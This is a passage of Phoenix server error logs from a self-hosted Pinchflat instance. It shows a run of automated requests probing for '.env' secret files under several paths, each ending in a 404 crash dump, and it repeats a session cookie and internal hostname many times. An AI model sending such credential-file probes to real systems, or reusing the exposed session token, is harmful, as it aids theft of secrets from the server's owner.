"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:16.163 [info] GET /resources/.env 02:10:16.163 [debug] QUERY OK source="settings" db=0.2ms idle=191.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.163 [debug] QUERY OK source="settings" db=0.0ms idle=127.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.163 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.164 [error] #PID<0.3409.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 105) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /resources/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /resources/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/resources/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 105, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3409.0>, params: %{}, path_info: ["resources", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/resources/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6lNvzLS8Bx4AARoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/resources/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 105, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /resources/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/resources/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 105, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:16.222 [info] GET /assets/.env 02:10:16.223 [debug] QUERY OK source="settings" db=0.1ms idle=186.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.223 [debug] QUERY OK source="settings" db=0.0ms idle=126.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.223 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.223 [error] #PID<0.3410.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 106) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /assets/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 106, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3410.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6lb8G9jjtSMAARpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 106, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 106, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:16.280 [info] GET /uploads/.env 02:10:16.280 [debug] QUERY OK source="settings" db=0.2ms idle=183.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.281 [debug] QUERY OK source="settings" db=0.0ms idle=117.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.281 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.281 [error] #PID<0.3411.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 107) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /uploads/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uploads/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uploads/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 107, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3411.0>, params: %{}, path_info: ["uploads", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/uploads/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6lpttBEVBzYAARqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uploads/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 107, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uploads/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uploads/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 107, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:16.353 [info] GET /internal/.env 02:10:16.354 [debug] QUERY OK source="settings" db=0.1ms idle=190.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.354 [debug] QUERY OK source="settings" db=0.1ms idle=131.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.354 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.354 [error] #PID<0.3412.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 108) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /internal/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /internal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/internal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 108, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3412.0>, params: %{}, path_info: ["internal", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => 